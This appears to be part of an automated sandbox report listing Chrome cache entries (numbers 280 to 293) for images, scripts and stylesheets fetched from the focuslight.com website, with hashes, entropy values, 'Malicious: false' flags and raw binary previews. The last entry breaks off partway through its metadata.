Preview:	.PNG........IHDR...)...)......`......IDATX.._hNa..?/b...jy..H...d.Vn........R.....Pr.........."..Z...E..}..y....=.9.:S...<......>..{....f$....7......x.t.o...,#2._......"Y.......MD....2`!.....qlC@.0<%M..;......l..@.+r.p.hJ(.D.)..L.l=...f..^'....x.$...O..Q.?..-..\R_..l.!..Q/i..1{./.....h..<`...v....#..#6.>.(.a&.r..%.9.+.mQ1".$.pN. i.c7.\...9.-....c....../$p.........~G<..<........b>cVR.'.<..!O..;.....BE....#.F l..y.._/V`>....Z..i..O.D".zSl.A\|...W./.....ym.r...t6.@9..ynv....r....'\|6......<q..l.,.."..........v.@...0..h.T-.NI;...'w...]..U..M....1V......#.........V.........s.C.....v.n..W.9..j..@.]...s<./Ja.,..\|`V..TD...kP.-2!.>.I..I...\n...p.8.w...Yi#I.;..L..c..w.R}...q.r. J..\|>9..E..\|....Qd*9.".H..A..^d~......5_.......[.....8......\|.Rm........l.>.Q.:.V.?...vz...\..4....G.(0..e.O.:)...Q.3K.U......IEND.B`.

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 33 x 40, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2212
Entropy (8bit):	6.9690877116005465
Encrypted:	false
SSDEEP:	48:T/6sMYL4knA9WIYa/c0hU838P213hUcHnsk/idaPQFLV6yQv/eNWfg:TSJYkknmWIYa/3RModHnskasPQTcvmND
MD5:	448E17B93E6D3F4F406A4503DCAEF400
SHA1:	B4C5DE02E04B0FD596B1297487178D842450267C
SHA-256:	6ED3A1FA5B03D394E8D19BA96865A312F3B00EC6A2B3480D82DD415D1D2645A1
SHA-512:	4340AB1BD1FFD02D7E32052D3E5D6A4FBE2683AE8860A60E618D81C6C49EADE3AC256DD4B06F681DEF00691FC3615A1B6326FF5D34ED7A4570FC1BB8CC199F68
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/grzxicn0.png
Preview:	.PNG........IHDR...!...(.....p.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-12-02T19:03:20+08:00" xmp:ModifyDate="2022-12-02T19:03:44+08:00" xmp:MetadataDate="2022-12-02T19:03:44+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:ffb1d60d-d51b-264c-9098-7a06288c3dc2" xmpMM:DocumentID="xmp.did:ffb1d60d-d51b-264c-9098-7a06288c3dc2" xmpMM:Origi

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 3364
Category:	downloaded
Size (bytes):	1332
Entropy (8bit):	7.848742553750671
Encrypted:	false
SSDEEP:	24:XmTDF6Y3ElHqMFcnWoP8FPjeweXT7qQ/Z0S+nvewAm4013mGGdE:XmH8YFRnvP8FPjwf3Z0S+vDdzP
MD5:	74356E27AEDDD9CE61AE063BC1FCFDF2
SHA1:	34AC15AE5977AFABE356EB2720CC1BC278849944
SHA-256:	A12BE9E6476A11D6F0A6D92490A4C4DCB837D9CDA5CD3D69EAE775FADB281ACF
SHA-512:	9E03AEE7425ECAE94F0F6956DCAE97320B2936F79CE9F21B3CFF520E0EE12C33F519D7579C064FD5D39CEC430240DFE439AB338948BA586712095CEB0AF8B72D
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/js/countUp.min.js
Preview:	...........V]..6..+^M.....n....I..L..d....dY..c...6..{.,...}.Y:...^.e.s...g$.{.>...G!..K.2..``.C.Mfv..x.d\|/.n..J...L.L..'.}%..R%H.C,.OY.FV..Z...}.NKr...3.%.k$.$!.,.~).o.WtL.t.v".........~$Z......:.D.....j....$Q..y.e&....(.R\|.@..\|=O...\|N..l$p.s..5...9.@....~.+.d..._:.D..S?.;.....WB.I...$...^.[......+..h\|.K....;.c>..\|$.....!U.C.._.Pk...d.{.....F3. ..(...gI.U).2.W.1..?......SLK5...Dp.A6E!:F.Y.^.{K......?)Y.....x0...4...t.?8BP..{..i.<..v.W...a.... .=Yv."..]V.3h....J....^.,...\.l..Y...}..2..R3..a.....PP.$-...,.KO @....h.-Y.....e..`7...H.IG$w".I.#....i#..]n..,z..f5/M.........e....0n..c{R.?...8L.......n"&..p#n#.6..V.]..@;5c..M._.[t....I@%..kLm*.....M7!p.b.(f@..w..~..o.$.lu...j.I....O.........72.@..6..<../...qc.`..X....tk.o..2..._.......d\|.F..&x...X....&.;.E.2L6..}....tL...6..,....&M....(.q.m..v..&<Q../ ....1......=..Cn.7Z<.,..O........Z%...Q_.3+...=...pt.(.tR .V..]SU..K.........t......qEp@.E..a..5..`.z...so2\.}1i.,.b.7.A.....z.k..b)k..).

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 125652
Category:	downloaded
Size (bytes):	22037
Entropy (8bit):	7.98999805336699
Encrypted:	false
SSDEEP:	384:/BxdjBtCQG5WcX2wtb5/z3VL81Zr9cxo8R7i+WDjsT0r0I8h0ZE:ZxBCQGEcX2wtJz32XxcCYilsTy8h0E
MD5:	E12F1D6058FDCDD6C90372C40D2A9AAD
SHA1:	CA143D9406AC420C45AD8DD156A3C8114B29048F
SHA-256:	0384DF3EBC299164DB077FCCE71A570D7327DC2EF499284E93AFC74A8FF8DABA
SHA-512:	65C009C1C7BB07B3BCF6440C873083C77526766FDFA775AF80C2B2441AF30A0E7BF37089B9F43DAC1C3435CDE9FF7908C5DA47180E13F121A1798A0FF464873A
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/
Preview:	...........{s..u'.7...pU..`.z..H6.5..MZ.I.lvK.EGVUVU.Y...@.(uD[..J.....,..v,O..u.1c=V....Q.......;...Y.U(.. .Kvw.2o...{.y..d.m...):A.^.~7..i4.W.......o.k.0h.o... ....C.p..n.......U..h.N`:.....v.m.6:..5..Q.:p.<(.Zf..z..M.j....yh5."..(,..,.....F7....Y7...G.B.......9nf...4M........3...V`....F..V....}...yhzb/p{b..g....eS.5...s.w...u.t.....lt..v../.]..l......%,nYn.T.s.......zK.)."...../.Z..-.?.7..}....c5.F.g[.l..,F.}...s._.v.fh.......0p.n`.......^...m.>.h61....4....7<..q..pC.f.."j.....W..-..%.c.....~?4....m.~...gQlv,.(}...h.~Pl{n.[.t.j;..t.@.1M....p..k8a.h..g....)..>.......5oM......b.. .m.1=...w?sy..FDR.k/.`4O...,7........d.\|..^.[..)...2.\|Q7iI....@.........#.@.Xty..Ea.........>.x<sZ......_.}+..C.....a.H.(..".N.A..h!~.v....u.....k[..L{....L.c...g......;.r../....K.r.WT<..t...N.t.k.~........]...!..3....3..G....-.3.`.X..-.{........MoP\..<.}..nYv<..2.0...\f.o....$.10.2.{...O.._.Z....mq....^.-....a.~..`'V..".N....[.. .6..n.-\|.$.4.\|..jz

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 77 x 77, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1671
Entropy (8bit):	6.309322149711875
Encrypted:	false
SSDEEP:	48:q/6sMYL4knA9WIY3/c0mwsqH3mVHnsvrKncc9:qSJYkknmWIY3/AwtWVHnsT+cc9
MD5:	2524A0B7E05BCFDBFE425900E016CB54
SHA1:	ABC8B096D075FB3F3F347EEE38CFC9E12C1919EC
SHA-256:	D80D9CE877F7AB8554D9EEA8CE2E0C27485C2EE6E4AB49C896D117A26324458F
SHA-512:	971E7936C04E91D82C92E1276C355F833B4EDC97EA105D106D4C8B2E2F77E68C016E4891EEA53E7A32528318C11980A2499BA394090CB61DBC6B8AA61A9306B2
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/spvideicn.png
Preview:	.PNG........IHDR...M...M............pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-08-02T14:47:38+08:00" xmp:ModifyDate="2022-08-02T14:48:09+08:00" xmp:MetadataDate="2022-08-02T14:48:09+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:5cb4f038-2854-784f-b03c-9b7f5089a0a4" xmpMM:DocumentID="xmp.did:5cb4f038-2854-784f-b03c-9b7f5089a0a4" xmpMM:Origi

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 15, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	14647
Entropy (8bit):	1.544961303587712
Encrypted:	false
SSDEEP:	48://6fM+k29W8sEvWvbxN+Y9ydBCK4sc5H/7y:/ShkEWRxvbxNX5sc5jy
MD5:	E260FC9F097393A924B072D9CD78A354
SHA1:	340EB44BCD66267EB8A3C102A6324E9B9B2A3C12
SHA-256:	297D1750CC24C6D3678492FACDB4AE124ACD5A55D75D145B0D934F1E7DA76751
SHA-512:	F9E13D72923BEEF66E8CB84CDF0A8DB6819745150342235A60954126D08D63ED6E2B30F084E8763BBCFACE7CBBFC7F49D78DE20A56E273BEF64C3592682469D5
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/clicook.png
Preview:	.PNG........IHDR.............;.J....pHYs...............8$iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>. <xmp:CreateDate>2021-05-06T10:32:13+08:00</xmp:CreateDate>. <xmp:ModifyDate>2021-05-06T10:33:39+08:00</xmp:ModifyDate>. <xmp:M

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 53438
Category:	downloaded
Size (bytes):	4667
Entropy (8bit):	7.957084275751615
Encrypted:	false
SSDEEP:	96:wUSzXOwEaymdyHBqez8Lrnhw44i+/+13tPITekMCFoCVEdnf1p:wUoXM/m0HBqeILrnhfIbr6Rvp
MD5:	780B739F263987DF7DB96BE7FF637FFF
SHA1:	0474BFFB26862635CFC7F6139233D493E014AD92
SHA-256:	1C9FC2157F5403A49D58115454B9A41464EAB9C41D268F5BEAD45EDA5C08F0EC
SHA-512:	95FA98ABC2F817065F23493649D708B252A3BCC19E7858DCEF44686EDAEC904CE2CBDDE3C6E2C0883B3BCA218BC945E8D3AB4C2C02C2F532A46BC3BE18173902
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/en_css/animate.min.css
Preview:	...........][o.7.~.P..p..D.=.K..] @....@...8.D..In6-.....!..E..r<hl.Cr.<..w..p~..V.j........?^...W.....MUN..^..l............(..[=...j.{.O.UosW......L\6M.K..xXM.r...V...B.W...X~]..6.....`x....P.z.....m).7...R.?.B\...b...m......~.os[.f..bZ../6wV.f.V?......TH...A1Y<.7.UU.T...w...vw=.ctx....j\|......}..#.....p.......u.r.Z......5.\......-..<..I1......<.....a.<9;...\..Ru...v........N.G.>.'oO.nOa$.'....:_......u...$..ul4..`...T...Nz......utD..d..;wD.B....D.v.s........a.... ...]J.....h.l.cq..W..Z,............fq.U.M?.*z.h1f^ng.....g0.....\|}?....._..+....lY...\|x.+.~....a.f&.i.9/.'...@.>.g[.f.....i..?T...4kl.q..0.......bL..y..\|~.S..a<.V......p.VXy.....2...(~.....h....d..%q.a.K..0gil....1\[.[6.......c..J.Fc..eL..........ci....S...S....n.Y.X..s..!.6@.}01}...q.......0L.-..Y.t.?^......i.$...nK!..n..E.................6..r6.>...-'.S........8.{.../..t...U!.E..s...yq..2l..a.d.g.TY....2.5W..]..e.X.D.=V....m..#.......bSw3...s5.E....J.w.J..7=W.'..Ml..[ ....9..{<.tY

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 376x850, components 3
Category:	downloaded
Size (bytes):	246160
Entropy (8bit):	7.975141217459404
Encrypted:	false
SSDEEP:	6144:LOFmnII3vbIeTNL8u8RO1VO0HMIIAeSptBQ26bB5wTYRCZM:LOMnBLTf8RWkwfestBFICZM
MD5:	91805BE98D4A5E26A28FEBD42777B839
SHA1:	94EC389C48A8EEBEB19FD6E51DF55CAF29CE7AC5
SHA-256:	FBF0890405F3C585A346350252DD3A9004F9E50D180C942C50204C2F1F4A60A3
SHA-512:	B1457D503D682AB6DFDC993486227D61857C60429AB584538AA7AE07C41FB8DE2662967BD8C5F09B691901ABB202D9E84155065B41670B5930893D5D8AFD295D
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/uploads/2024/05/%E5%85%88%E8%BF%9B%E5%88%B6%E9%80%A0.jpg
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:0C5E105F1E5F11EF800CD19F1F1F3965" xmpMM:InstanceID="xmp.iid:0C5E105E1E5F11EF800CD19F1F1F3965" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8c0d682f-f95f-ca48-b143-6c0a56cf4750" stRef:documentID="adobe:docid:photoshop:f5763641-5d62-a741-a48d-cc4ba512573f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d............................

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 376x850, components 3
Category:	downloaded
Size (bytes):	253576
Entropy (8bit):	7.976259906080109
Encrypted:	false
SSDEEP:	3072:XR0o8Raa587K2HjW74UfHIM+P6/AaWRduK/z3QHW7ZcRAC4FcXdUOwsSV42mmM1I:XW4tjY4ilu7/z3X4KcXdUOAyNkympTH
MD5:	C346654758B66236F2E85DE654458659
SHA1:	CAD150133B72E4D234B59C5ABD115BB375C13BD7
SHA-256:	C9F01D951BD79834BEC21E9BB14590BD78558250DE1158AB09E4556DC39A2C85
SHA-512:	80538F7CB8139DF4AA58CF3BECD0424BD03ACD4E05394028EFCC3FF9A4A4EE742614E7B8CE8AD296677FFEDE8165E07600BF8DE210284146C631757456397AA5
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/uploads/2024/05/%E5%8C%BB%E7%96%97%E5%81%A5%E5%BA%B7.jpg
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:1F139CBA1E5F11EF87E9E9576F25185F" xmpMM:InstanceID="xmp.iid:1F139CB91E5F11EF87E9E9576F25185F" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8c0d682f-f95f-ca48-b143-6c0a56cf4750" stRef:documentID="adobe:docid:photoshop:f5763641-5d62-a741-a48d-cc4ba512573f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d............................

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 258 x 258, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	29414
Entropy (8bit):	7.985961949418112
Encrypted:	false
SSDEEP:	768:D7deAXdfUA9E/H5zZYu//dXwD7nJX09frMZVIMk:NeCdMa8Z1b/Rw/nJX09f8fk
MD5:	D3E9A63238B30EF04A72BB6BA94E668C
SHA1:	5F04D5A9786126396828DF27A5ACEDC6A4F3B031
SHA-256:	E4783EE7EC7EEB123E29BE5494AA98F7A0018B0F92FE70C54B16E3B3DBCBA82F
SHA-512:	D1C2775ECFF4F484FEE6C9EC9815BA1F35A6B7C0323E0FDB94487DF4B45A56D21500C020272B618192E93D9BAA76BF30B150B0036A03DE8EF7714C5FA8C001F3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............-N... .IDATx..[.e.u....>....!gz..F..Cj..%R.e........$..... ..A..I.W.D...).....!.l.B.0.I..)...'."jLR.H.S.......m.]+...Y....s...!.......j..U.^AU.!<.om._o...C....m.....m.....m....<....!..m....<....!..m.x.<..oz..o..>.........!<....!<....!.H..F.A.u.......'\|k...m.zS...-U.+....^..B.P\|..>#....}.q.....`........\|O...>'....T.@...!...R..i..90..B@.#]......L.z.....c.......0SJ..:..".K\|.V)...1...g..(.aUE.M...I.9.}...!....s.......Z.....).._.u].W~.pb...b...<.._...0..v..\|..?4...'.$2.s.. Id.X...D..c1.S.s...Cn.....g~'...E...u.B..y(.e....P.F....c..h.o..._=G..X^x.......xfo;.....q..ey.v....g.....[...L1.EQ.f3\|.+T..@qU.G...".B(...kU...H.e..S..\|N.:4.....l....K..W....v..V.l6.<......(....vNE..v.Q..........s~........66..CSJ.....k......=.........oV......>h.......d.v..{...L.gJ;...P;.V.f...u.0.......Z.K0.1..WU=!..S%...g......u....). . o.'..v....\|.3@.....s....u.......N.S..s@)..b..n..i@..8.(...\4.3$.. .4~.c....<....e.!:..H;.T...o...0.q\|..s...3....q..

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1200x800, components 3
Category:	dropped
Size (bytes):	258711
Entropy (8bit):	7.9715571812969195
Encrypted:	false
SSDEEP:	6144:LoUZ/mjEDrIcQf07zYw+n71QwJwqtd04hfXver/:kamjFcJLI5vtdVlXver/
MD5:	2E1F0F02D5D5AE62F3ABA47066AA5EF1
SHA1:	FFF5B6B4B7BCE69DBCC2604A042A51C700DA4D17
SHA-256:	1B7F2AC5CB4C3E45FE782B460E542AB5C5F4CBE6F25D9915A70AD76D782D66F1
SHA-512:	C9045FF8085B4F290C953A77633B0C718E990C4928178FEA7054CAFE01AA66A206283C96175DB3445975A0A12031736B01800403201E87FD4040093FFCF5F7DD
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="6AD9502BB18C6B0770F02F38E802CD81" xmpMM:DocumentID="xmp.did:7B072AF3424A11EEABCD81E91D3A6BCE" xmpMM:InstanceID="xmp.iid:7B072AF2424A11EEABCD81E91D3A6BCE" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7d13a413-eb18-2d4b-9a7b-466c1c401b76" stRef:documentID="adobe:docid:photoshop:232aa6c5-f4cd-3c49-9f90-4f3752cfa6f1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	122778
Entropy (8bit):	5.837581532475447
Encrypted:	false
SSDEEP:	3072:bVuAHX8No/clw2HoSZwEU4iQ/2j/ty9r7PXag:b4IMNgcPTyEU41wQr7f
MD5:	AFB59A5CC9E457893BF31E6DB966AE20
SHA1:	0D7973DBE46FA15EA924EDDEA6398BBAF737BF88
SHA-256:	6D99625487BDB61BF52A0A4B63DD55FE7845B0A6E4D86C6E87C37CDFDFE8D029
SHA-512:	7FDD1337957B890B44418810076602445E0C33CEC3976ACCF520786E829BCB4B5D74AC8734A7AA25DBC9A530357D0F6B7070F03B31131B437CD54B34BF6F2704
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="7402px" height="1126px" viewBox="0 0 7402 1126" enable-background="new 0 0 7402 1126" xml:space="preserve"> <image id="image0" width="7402" height="1126" x="0" y="0". href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAHOoAAARmCAQAAAA/TLd5AAAABGdBTUEAALGPC/xhBQAAACBjSFJN.AAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAAmJLR0QA/4ePzL8AAAAJcEhZ.cwAALiMAAC4jAXilP3YAAAAHdElNRQfnAxcCHDJg30zfAACAAElEQVR42uzdZ7hdZZ338d/JSU8g.oYUeWuiggEpg6NKlShVQUVCKFSyDio69oKKoOCKODIMKdkUU0bHP4OjM41hQLKPoWEZBEawIijwv.7ErJSfY5/7Xu9fm8C4Hr+q5cF9ln771+6x67IzRmbtbOoqyeVbIwC7Mwq2Rh5mdmFmRW5mR+pidZ.OWPVmdB5Z+a86gRGakHWzppZK6tnrd//3bgw8zM/M7NyZmdWdR7QeV4X+JPZWT9rZM2smTWy2u9/.5l6QOZmVBZmRedV5wN/432xYnQAAsAxWzxpZK2v88ZP9hVmYOX/8

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 376x850, components 3
Category:	downloaded
Size (bytes):	129289
Entropy (8bit):	7.975725272938246
Encrypted:	false
SSDEEP:	3072:Fi2WyFD0SbQuzvP/otjH2GX3jDJgQ/VfCiwvWvkS+Ct8R:w/S3vP/Ub1gs85CGR
MD5:	010C690F163A89D039FDF2437A6D3463
SHA1:	E284F8E16CFDB8E62D27A4FA61ACF90F68FD7A70
SHA-256:	43D4F9964D39B3103BF0A45384B7DF624D7E68998DEDE288169ABFCEAE2FC7F9
SHA-512:	1F8668B20DBD853D12AE6181D52DB927450D79D6F7B857F62EACA9D915FF61630F0CDF3EEB30F3906A58DC10FF104643F0D9CB92B5B19657EE35082EC28925B6
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/uploads/2024/05/%E6%B1%BD%E8%BD%A6%E5%BA%94%E7%94%A8.jpg
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:B3B9B3E21E5F11EF81D0F7DCC423D407" xmpMM:InstanceID="xmp.iid:B3B9B3E11E5F11EF81D0F7DCC423D407" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8664b7ea-9926-b944-ab14-f6cee0f1c2c0" stRef:documentID="adobe:docid:photoshop:f5763641-5d62-a741-a48d-cc4ba512573f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d............................

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS3 Windows, datetime=2022:09:05 16:18:51], progressive, precision 8, 376x850, components 3
Category:	dropped
Size (bytes):	98778
Entropy (8bit):	7.926361401191337
Encrypted:	false
SSDEEP:	1536:izJg7zJgKmbPz97OzejCQ/VYnwJSqaM3wPLUp86uCju2xhl6rhPr7KRVd0b4QliG:KGXGDb5/ZOOSqzwPLqu6l6r5Vw5mv
MD5:	730E7FEF637B205C5D862060BC949AB1
SHA1:	42E341D1F1EC738736B79FDD3FD89F3DD3484AAF
SHA-256:	8BB8BE3B4B85FEFF68708EA2DB269F6448622BC07C22A864810F5B07419BCB01
SHA-512:	B17A3FF29FE1A566602525E7058FA408F9F9BB4B589312DF6A2488E95647BB7CF78049ECD8453BCEB57FB1686CB1056B64713CC61C31EE2852B93B9331722D1E
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....mExif..II*...........................b...........j...(...........1.......r...2...........i....................'.......'..Adobe Photoshop CS3 Windows.2022:09:05 16:18:51.........................x...........R...........................................&...(...............................7.......H.......H.............JFIF.....H.H......Adobe_CM......Adobe.d...................................................................................................................................................G.."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..0.$.9j.h...H0..S..>....../.K y..\|.h.Z$.}7..'...<1.rJG."..........$~......@...`jRcI."....[c.`....f.$...m.t.lLB.+...w&;.

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 82", baseline, precision 8, 2560x1440, components 3
Category:	downloaded
Size (bytes):	231976
Entropy (8bit):	7.828803069022744
Encrypted:	false
